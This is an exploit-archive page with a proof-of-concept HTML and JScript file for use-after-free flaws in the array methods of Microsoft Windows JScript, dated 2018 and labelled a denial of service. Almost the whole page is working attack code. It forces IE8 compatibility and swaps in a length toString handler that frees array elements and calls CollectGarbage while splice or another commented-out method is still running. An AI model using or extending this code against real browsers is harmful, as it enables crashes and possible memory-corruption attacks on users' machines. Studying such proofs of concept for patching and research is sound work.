Microsoft windows multiple useafterfree issues in jscript array methods Vulnerability / Exploit

/ / /

Exploits / Vulnerability Discovered : 2018-04-05 | Type : dos | Platform : windows
This exploit / vulnerability Microsoft windows multiple useafterfree issues in jscript array methods is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...




<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">

var vars = {};

function f() {
alert('in f');
for(var i=0; i<40000; i++) {
vars[i] = 1;
}
vars.length = 0;
CollectGarbage();
alert(this);
}

for(var i=0; i<20000; i++) {
vars[i] = [];
}
vars.length = [];
for(var i=20000; i<40000; i++) {
vars[i] = [];
}

vars.length.toString = f;

// all of these work, just uncomment the one you want to test
//Array.prototype.join.call(vars);
//Array.prototype.reverse.call(vars);
//Array.prototype.sort.call(vars);
//Array.prototype.pop.call(vars);
//Array.prototype.push.call(vars, 1);
//Array.prototype.shift.call(vars);
//Array.prototype.unshift.call(vars, 1);
//Array.prototype.slice.call(vars, 1);
Array.prototype.splice.call(vars, 1, 1);

alert('failed');

</script>